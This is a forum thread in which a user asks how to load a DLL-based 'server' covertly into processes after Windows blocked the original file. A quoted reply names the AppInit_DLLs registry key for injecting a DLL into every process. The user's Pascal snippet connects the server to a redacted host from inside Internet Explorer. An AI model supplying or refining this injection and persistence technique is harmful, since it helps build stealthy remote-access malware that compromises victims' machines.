+ Reply to Thread
Results 1 to 3 of 3
  1. #1
    Member deja vu's Avatar
    Join Date
    Oct 2006
    Location
    Australia
    Posts
    45

    DLL Inject and Startup

    Hey guys,

    Ive completed my formless server, and tested the functions id like to use. However it gets detected by windows and blocks the file. Users will have to unblock it before accessing it, not sure why.

    Now, im converting it to a dll and hoping to solve the windows blocking file. What i dont understand is how to call the dll.

    Do i have to call the injector every time to start a process, then hijack that process for my server to run?

    However, im more interested in this solution, where every application started loads the dll. I simply check whether thats the program i want to hijack or not.

    Quote Originally Posted by drkdreams View Post
    I think that registry key you are looking for is:
    Code:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs key
    Just place the path to your dll there and it will be injected into any process that is run, then just place a check in to make sure your in the right target:
    Code:
    procedure CheckWhereIAm;
    begin
    if parastr(0) = "C:\Program Files\Mozilla Firefox\firefox.exe" then
    begin
    //Place your code here
    end else
    begin
    //Not in the right Process, just sit here....
    end;
    end;
    Hope this helps!

    -drkdreams
    Ive added the location of my server (dll) to the Registry key and added the following to my server:

    [PHP]
    begin
    if paramstr(0) = 'C:\Program Files\Internet Explorer\iexplore.exe' then
    begin
    Server := TServer.Create;
    Host := 'xxxxxxxxxxxx';
    Port := 0000
    Server.Connect;
    end else
    begin
    ShowMessage (paramstr(0));
    end;
    end.
    [/PHP]

    Its not working though, ive tried starting different programs to show the message, tried running iexplore, but the server isnt working. It doesnt seem like the dll has been loading. Is there something im missing? Do i have to create an injector, and create a new process, and hijack it every time?

    Thanks
    Officer, I swear to drunk, I am not GOD!

  2. #2
    Member deja vu's Avatar
    Join Date
    Oct 2006
    Location
    Australia
    Posts
    45
    anyone?
    Officer, I swear to drunk, I am not GOD!

  3. #3
    Senior Member LinuZ_'s Avatar
    Join Date
    Oct 2008
    Location
    ntdll!NtQuerySystemInformation
    Posts
    549
    =(
    You always have such complicated questions that I can't answer, and it seems that the rest doesn't care or as I lacks skill.
    Good luck on managing it!

    PS: You could answer your own question the last time and I believe you can make it this time too! You seem that skilled, haha =D

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Inject Unit
    By WEZ_2511 in forum Snippets
    Replies: 0
    Last Post: 24-02-2008, 21:30
  2. I want to inject thread without dll.
    By kousei in forum Delphi Help
    Replies: 6
    Last Post: 24-07-2007, 06:07
  3. inject help
    By RAT in forum Off-Topic
    Replies: 6
    Last Post: 06-04-2007, 03:57
  4. help dll inject the Ex method
    By smokealot in forum General Programming Help
    Replies: 8
    Last Post: 05-08-2005, 16:51
  5. inject erorr ?
    By HANx in forum Delphi Help
    Replies: 13
    Last Post: 13-04-2005, 07:48

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.